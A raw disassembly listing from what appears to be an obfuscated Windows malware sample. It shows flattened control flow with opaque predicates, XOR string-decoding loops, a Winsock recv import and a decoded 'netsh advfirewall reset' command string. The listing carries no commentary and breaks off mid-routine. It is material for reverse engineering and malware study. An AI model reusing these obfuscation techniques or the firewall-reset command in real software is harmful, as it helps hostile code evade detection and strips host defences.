mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1d
mov byte [r8 + 0xd], cl
movzx ecx, byte [rax + 0x13]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140030d60
cmp ecx, 0xe597bc97
je 0x140030d7d
cmp ecx, 0xbbb0bd52
je 0x140030d92
movzx eax, byte [rax + 0x16]
mov byte [rbp + 0x1cc], al
mov eax, dword [0x1402b5e18]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
cmp dword [0x1402b5e1c], 0xa
setge cl
mov r8d, ecx
xor r8b, al
or cl, al
xor cl, 1
or cl, r8b
mov eax, 0xe597bc97
cmovne eax, ebx
mov r8d, 0xe597bc97
cmovne r8d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x140030f40
cmp ecx, 0xe597bc97
je 0x140030f5c
cmp ecx, 0xfa42bebb
je 0x140030f6a
cmp ecx, 0x38980679
jne 0x140030f10
jmp 0x14002fd4e
cmp ecx, 0xbbb0bd52
je 0x140030f71
cmp ecx, 0xc1647419
jne 0x140030f10
movsx r9, byte [rbp + 0x1cc]
mov ecx, eax
jmp 0x140030f10
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140030f10
mov ecx, 0x38980679
jmp 0x140030f10
mov ecx, r8d
jmp 0x140030f10
mov rax, qword [rbp + 0x130]
mov rax, qword [rax]
mov qword [rbp + 0x138], rax
mov eax, 0xc7fab4d7
jmp 0x14002fdc0
mov eax, dword [0x1402b5e10]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x2e8c7756
cmove eax, esi
cmp dword [0x1402b5e14], 0xa
mov r8d, 0x2e8c7756
cmovge eax, r8d
setl r8b
xor r8b, cl
cmovne eax, esi
jmp 0x14002fdc0
mov rax, qword [rbp + 0x140]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x138]
mov qword [rbp + 0x198], rcx
mov r8, qword [rbp + 0x198]
movzx ecx, byte [rax]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x140031080
cmp ecx, 0xe597bc97
je 0x14003109d
cmp ecx, 0xfa42bebb
je 0x1400310ab
cmp ecx, 0x38980679
jne 0x140031050
jmp 0x1400310b7
cmp ecx, 0xbbb0bd52
je 0x1400310b2
cmp ecx, 0xc1647419
jne 0x140031050
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x140031050
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x140031050
mov ecx, 0x38980679
jmp 0x140031050
mov ecx, r10d
jmp 0x140031050
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xb
mov byte [r8], cl
movzx ecx, byte [rax + 1]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
setne cl
cmp dword [0x1402b5e1c], 0xa
setge r9b
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x140031160
cmp ecx, 0xe597bc97
je 0x14003117d
cmp ecx, 0xfa42bebb
je 0x14003118b
cmp ecx, 0x38980679
jne 0x140031130
jmp 0x140031197
cmp ecx, 0xbbb0bd52
je 0x140031192
cmp ecx, 0xc1647419
jne 0x140031130
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x140031130
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x140031130
mov ecx, 0x38980679
jmp 0x140031130
mov ecx, r10d
jmp 0x140031130
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xc
mov byte [r8 + 1], cl
movzx ecx, byte [rax + 2]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
setne cl
cmp dword [0x1402b5e1c], 0xa
setge r9b
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x140031240
cmp ecx, 0xe597bc97
je 0x14003125d
cmp ecx, 0xfa42bebb
je 0x14003126b
cmp ecx, 0x38980679
jne 0x140031210
jmp 0x140031277
cmp ecx, 0xbbb0bd52
je 0x140031272
cmp ecx, 0xc1647419
jne 0x140031210
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x140031210
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x140031210
mov ecx, 0x38980679
jmp 0x140031210
mov ecx, r10d
jmp 0x140031210
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xd
mov byte [r8 + 2], cl
movzx ecx, byte [rax + 3]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
test r9b, 1
sete cl
cmp dword [0x1402b5e1c], 0xa
setge r10b
setl r11b
xor r11b, cl
or r10b, r9b
not r10b
or r10b, r11b
test r10b, 1
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x140031320
cmp ecx, 0xe597bc97
je 0x14003133d
cmp ecx, 0xfa42bebb
je 0x14003134b
cmp ecx, 0x38980679
jne 0x1400312f0
jmp 0x140031357
cmp ecx, 0xbbb0bd52
je 0x140031352
cmp ecx, 0xc1647419
jne 0x1400312f0
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x1400312f0
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x1400312f0
mov ecx, 0x38980679
jmp 0x1400312f0
mov ecx, r10d
jmp 0x1400312f0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xe
mov byte [r8 + 3], cl
movzx ecx, byte [rax + 4]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
setne cl
cmp dword [0x1402b5e1c], 0xa
setge r9b
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x140031400
cmp ecx, 0xe597bc97
je 0x14003141d
cmp ecx, 0xfa42bebb
je 0x14003142b
cmp ecx, 0x38980679
jne 0x1400313d0
jmp 0x140031437
cmp ecx, 0xbbb0bd52
je 0x140031432
cmp ecx, 0xc1647419
jne 0x1400313d0
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x1400313d0
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x1400313d0
mov ecx, 0x38980679
jmp 0x1400313d0
mov ecx, r10d
jmp 0x1400313d0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xf
mov byte [r8 + 4], cl
add r8, 5
mov qword [rbp + 0x128], r8
movzx ecx, byte [rax + 5]
mov byte [rbp + 0x190], cl
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x1400314a0
cmp ecx, 0xe597bc97
je 0x1400314bd
cmp ecx, 0xfa42bebb
je 0x1400314cb
cmp ecx, 0x38980679
jne 0x140031470
jmp 0x1400314d7
cmp ecx, 0xbbb0bd52
je 0x1400314d2
cmp ecx, 0xc1647419
jne 0x140031470
movsx r8, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x140031470
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x140031470
mov ecx, 0x38980679
jmp 0x140031470
mov ecx, r10d
jmp 0x140031470
mov qword [rbp + 0x1c0], r8
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x10
mov r8, qword [rbp + 0x128]
mov byte [r8], cl
mov ecx, 0xf1d372ca
jmp 0x140031520
cmp ecx, 0x6a88e764
je 0x140031f37
cmp ecx, 0xf1d372ca
jne 0x140031520
mov r8, qword [rbp + 0x128]
movzx ecx, byte [rax + 6]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x1400315c0
cmp ecx, 0xe597bc97
je 0x1400315dd
cmp ecx, 0xfa42bebb
je 0x1400315eb
cmp ecx, 0x38980679
jne 0x140031590
jmp 0x1400315f7
cmp ecx, 0xbbb0bd52
je 0x1400315f2
cmp ecx, 0xc1647419
jne 0x140031590
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140031590
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140031590
mov ecx, 0x38980679
jmp 0x140031590
mov ecx, r10d
jmp 0x140031590
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x11
mov byte [r8 + 1], cl
movzx ecx, byte [rax + 7]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
setne cl
cmp dword [0x1402b5e1c], 0xa
setge r9b
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x1400316a0
cmp ecx, 0xe597bc97
je 0x1400316bd
cmp ecx, 0xfa42bebb
je 0x1400316cb
cmp ecx, 0x38980679
jne 0x140031670
jmp 0x1400316d7
cmp ecx, 0xbbb0bd52
je 0x1400316d2
cmp ecx, 0xc1647419
jne 0x140031670
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140031670
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140031670
mov ecx, 0x38980679
jmp 0x140031670
mov ecx, r10d
jmp 0x140031670
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x12
mov byte [r8 + 2], cl
movzx ecx, byte [rax + 8]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140031770
cmp ecx, 0xe597bc97
je 0x14003178d
cmp ecx, 0xfa42bebb
je 0x14003179b
cmp ecx, 0x38980679
jne 0x140031740
jmp 0x1400317a7
cmp ecx, 0xbbb0bd52
je 0x1400317a2
cmp ecx, 0xc1647419
jne 0x140031740
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140031740
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140031740
mov ecx, 0x38980679
jmp 0x140031740
mov ecx, r10d
jmp 0x140031740
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x13
mov byte [r8 + 3], cl
movzx ecx, byte [rax + 9]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x140031840
cmp ecx, 0xe597bc97
je 0x14003185d
cmp ecx, 0xfa42bebb
je 0x14003186b
cmp ecx, 0x38980679
jne 0x140031810
jmp 0x140031877
cmp ecx, 0xbbb0bd52
je 0x140031872
cmp ecx, 0xc1647419
jne 0x140031810
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140031810
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140031810
mov ecx, 0x38980679
jmp 0x140031810
mov ecx, r10d
jmp 0x140031810
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x14
mov byte [r8 + 4], cl
movzx ecx, byte [rax + 0xa]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x1400318d0
cmp ecx, 0xe597bc97
je 0x1400318ed
cmp ecx, 0xfa42bebb
je 0x1400318fb
cmp ecx, 0x38980679
jne 0x1400318a0
jmp 0x140031907
cmp ecx, 0xbbb0bd52
je 0x140031902
cmp ecx, 0xc1647419
jne 0x1400318a0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x1400318a0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x1400318a0
mov ecx, 0x38980679
jmp 0x1400318a0
mov ecx, r10d
jmp 0x1400318a0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x15
mov byte [r8 + 5], cl
movzx ecx, byte [rax + 0xb]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140031960
cmp ecx, 0xe597bc97
je 0x14003197d
cmp ecx, 0xfa42bebb
je 0x14003198b
cmp ecx, 0x38980679
jne 0x140031930
jmp 0x140031997
cmp ecx, 0xbbb0bd52
je 0x140031992
cmp ecx, 0xc1647419
jne 0x140031930
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140031930
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140031930
mov ecx, 0x38980679
jmp 0x140031930
mov ecx, r10d
jmp 0x140031930
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x16
mov byte [r8 + 6], cl
movzx ecx, byte [rax + 0xc]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x1400319f0
cmp ecx, 0xe597bc97
je 0x140031a0d
cmp ecx, 0xfa42bebb
je 0x140031a1b
cmp ecx, 0x38980679
jne 0x1400319c0
jmp 0x140031a27
cmp ecx, 0xbbb0bd52
je 0x140031a22
cmp ecx, 0xc1647419
jne 0x1400319c0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x1400319c0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x1400319c0
mov ecx, 0x38980679
jmp 0x1400319c0
mov ecx, r10d
jmp 0x1400319c0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x17
mov byte [r8 + 7], cl
movzx ecx, byte [rax + 0xd]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140031a80
cmp ecx, 0xe597bc97
je 0x140031a9d
cmp ecx, 0xfa42bebb
je 0x140031aab
cmp ecx, 0x38980679
jne 0x140031a50
jmp 0x140031ab7
cmp ecx, 0xbbb0bd52
je 0x140031ab2
cmp ecx, 0xc1647419
jne 0x140031a50
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140031a50
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140031a50
mov ecx, 0x38980679
jmp 0x140031a50
mov ecx, r10d
jmp 0x140031a50
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x18
mov byte [r8 + 8], cl
movzx ecx, byte [rax + 0xe]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140031b10
cmp ecx, 0xe597bc97
je 0x140031b2d
cmp ecx, 0xfa42bebb
je 0x140031b3b
cmp ecx, 0x38980679
jne 0x140031ae0
jmp 0x140031b47
cmp ecx, 0xbbb0bd52
je 0x140031b42
cmp ecx, 0xc1647419
jne 0x140031ae0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140031ae0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140031ae0
mov ecx, 0x38980679
jmp 0x140031ae0
mov ecx, r10d
jmp 0x140031ae0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x19
mov byte [r8 + 9], cl
movzx ecx, byte [rax + 0xf]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140031ba0
cmp ecx, 0xe597bc97
je 0x140031bbd
cmp ecx, 0xfa42bebb
je 0x140031bcb
cmp ecx, 0x38980679
jne 0x140031b70
jmp 0x140031bd7
cmp ecx, 0xbbb0bd52
je 0x140031bd2
cmp ecx, 0xc1647419
jne 0x140031b70
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140031b70
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140031b70
mov ecx, 0x38980679
jmp 0x140031b70
mov ecx, r10d
jmp 0x140031b70
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1a
mov byte [r8 + 0xa], cl
movzx ecx, byte [rax + 0x10]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140031c30
cmp ecx, 0xe597bc97
je 0x140031c4d
cmp ecx, 0xfa42bebb
je 0x140031c5b
cmp ecx, 0x38980679
jne 0x140031c00
jmp 0x140031c67
cmp ecx, 0xbbb0bd52
je 0x140031c62
cmp ecx, 0xc1647419
jne 0x140031c00
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140031c00
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140031c00
mov ecx, 0x38980679
jmp 0x140031c00
mov ecx, r10d
jmp 0x140031c00
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1b
mov byte [r8 + 0xb], cl
movzx ecx, byte [rax + 0x11]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140031cc0
cmp ecx, 0xe597bc97
je 0x140031cdd
cmp ecx, 0xfa42bebb
je 0x140031ceb
cmp ecx, 0x38980679
jne 0x140031c90
jmp 0x140031cf7
cmp ecx, 0xbbb0bd52
je 0x140031cf2
cmp ecx, 0xc1647419
jne 0x140031c90
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140031c90
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140031c90
mov ecx, 0x38980679
jmp 0x140031c90
mov ecx, r10d
jmp 0x140031c90
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1c
mov byte [r8 + 0xc], cl
movzx ecx, byte [rax + 0x12]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140031d50
cmp ecx, 0xe597bc97
je 0x140031d6d
cmp ecx, 0xfa42bebb
je 0x140031d7b
cmp ecx, 0x38980679
jne 0x140031d20
jmp 0x140031d87
cmp ecx, 0xbbb0bd52
je 0x140031d82
cmp ecx, 0xc1647419
jne 0x140031d20
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140031d20
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140031d20
mov ecx, 0x38980679
jmp 0x140031d20
mov ecx, r10d
jmp 0x140031d20
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1d
mov byte [r8 + 0xd], cl
movzx ecx, byte [rax + 0x13]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140031de0
cmp ecx, 0xe597bc97
je 0x140031dfd
cmp ecx, 0xbbb0bd52
je 0x140031e12
movzx eax, byte [rax + 0x16]
mov byte [rbp + 0x1cc], al
mov eax, dword [0x1402b5e18]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5e1c], 0xa
setl cl
or cl, al
mov eax, 0xe597bc97
cmovne eax, ebx
mov r8d, 0xe597bc97
cmovne r8d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140031fb0
cmp ecx, 0xe597bc97
je 0x140031fcc
cmp ecx, 0xfa42bebb
je 0x140031fda
cmp ecx, 0x38980679
jne 0x140031f80
jmp 0x140031fe6
cmp ecx, 0xbbb0bd52
je 0x140031fe1
cmp ecx, 0xc1647419
jne 0x140031f80
movsx r9, byte [rbp + 0x1cc]
mov ecx, eax
jmp 0x140031f80
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140031f80
mov ecx, 0x38980679
jmp 0x140031f80
mov ecx, r8d
jmp 0x140031f80
mov qword [rbp + 0x1c0], r9
mov rax, qword [rbp + 0x1c0]
xor al, 0x21
mov rcx, qword [rbp + 0x190]
mov byte [rcx], al
mov rax, qword [rbp + 0x190]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x198]
mov byte [rax + 0x18], 1
mov rax, qword [rbp + 0x198]
mov eax, 0xe971b5c6
jmp 0x14002fdc0
cmp eax, 0x77df2da
jne 0x14002fdc0
mov rax, qword [rbp + 0x138]
mov rsp, rdx
mov eax, dword [0x1402b5e20]
mov ecx, dword [0x1402b5e24]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0x9c17fc93
cmovne r8d, edi
cmp edx, 0xffffffff
mov eax, r8d
cmove eax, edi
jmp 0x1400343f6
cmp eax, 0xa979251e
jg 0x140034402
cmp eax, 0x855fd505
je 0x140034413
cmp eax, 0x9c17fc93
jne 0x14002fcf0
mov rdx, rsp
mov eax, dword [0x1402b5e10]
mov ecx, dword [0x1402b5e14]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete byte [rbp + 0x127]
cmp ecx, 0xa
setl byte [rbp + 0xf0]
mov eax, 0xaec169f1
jmp 0x140032160
mov qword [rbp + 0x1c0], r9
mov rax, qword [rbp + 0x1c0]
xor al, 0x21
mov rcx, qword [rbp + 0x190]
mov byte [rcx], al
mov rax, qword [rbp + 0x190]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x198]
mov byte [rax + 0x18], 1
mov eax, dword [0x1402b5e10]
mov ecx, dword [0x1402b5e14]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete al
cmp ecx, 0xa
setl r9b
xor r9b, al
mov r9d, 0x2e8c7756
cmovne r9d, r15d
cmp r8d, 0xffffffff
mov eax, r9d
cmove eax, r15d
cmp ecx, 0xa
mov rcx, qword [rbp + 0x198]
cmovge eax, r9d
nop dword [rax]
cmp eax, 0xe971b5c5
jle 0x140032240
cmp eax, 0x77df2d9
jle 0x1400322a0
cmp eax, 0x2e8c7756
je 0x14003334b
cmp eax, 0x32a17146
jne 0x140034376
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x140], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x130], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x140]
lea rcx, str.netsh_advfirewall_reset
mov qword [rax], rcx
mov rax, qword [rbp + 0x130]
lea rcx, [rbp + 0x1a0]
mov qword [rax], rcx
mov eax, dword [0x1402b5e10]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xde83a59c
cmove eax, r13d
cmp dword [0x1402b5e14], 0xa
mov r8d, 0xde83a59c
cmovge eax, r8d
setl r8b
xor r8b, cl
cmovne eax, r13d
jmp 0x140032160
cmp eax, 0xc7fab4d6
jg 0x1400322c0
cmp eax, 0x842d75b8
je 0x1400332e6
cmp eax, 0xaec169f1
jne 0x140032160
movzx ecx, byte [rbp + 0x127]
movzx eax, byte [rbp + 0xf0]
mov r8d, eax
xor r8b, cl
test al, al
mov eax, 0xde83a59c
cmovne eax, r14d
test cl, cl
mov ecx, 0xde83a59c
cmove eax, ecx
test r8b, r8b
cmovne eax, r14d
jmp 0x140032160
cmp eax, 0xe971b5c6
je 0x1400322e0
cmp eax, 0xf1ce26f3
jne 0x140032160
mov eax, 0x842d75b8
jmp 0x140032160
cmp eax, 0xc7fab4d7
je 0x140033301
cmp eax, 0xde83a59c
jne 0x140032160
mov eax, 0x32a17146
jmp 0x140032160
mov rax, qword [rbp + 0x140]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x138]
mov qword [rbp + 0x198], rcx
mov r8, qword [rbp + 0x198]
movzx ecx, byte [rax]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
cmp ecx, 0xe597bc96
jle 0x140032380
cmp ecx, 0xe597bc97
je 0x14003239d
cmp ecx, 0xfa42bebb
je 0x1400323ab
cmp ecx, 0x38980679
jne 0x140032350
jmp 0x1400323b7
cmp ecx, 0xbbb0bd52
je 0x1400323b2
cmp ecx, 0xc1647419
jne 0x140032350
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x140032350
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x140032350
mov ecx, 0x38980679
jmp 0x140032350
mov ecx, r10d
jmp 0x140032350
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xb
mov byte [r8], cl
movzx ecx, byte [rax + 1]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140032450
cmp ecx, 0xe597bc97
je 0x14003246d
cmp ecx, 0xfa42bebb
je 0x14003247b
cmp ecx, 0x38980679
jne 0x140032420
jmp 0x140032487
cmp ecx, 0xbbb0bd52
je 0x140032482
cmp ecx, 0xc1647419
jne 0x140032420
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x140032420
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x140032420
mov ecx, 0x38980679
jmp 0x140032420
mov ecx, r10d
jmp 0x140032420
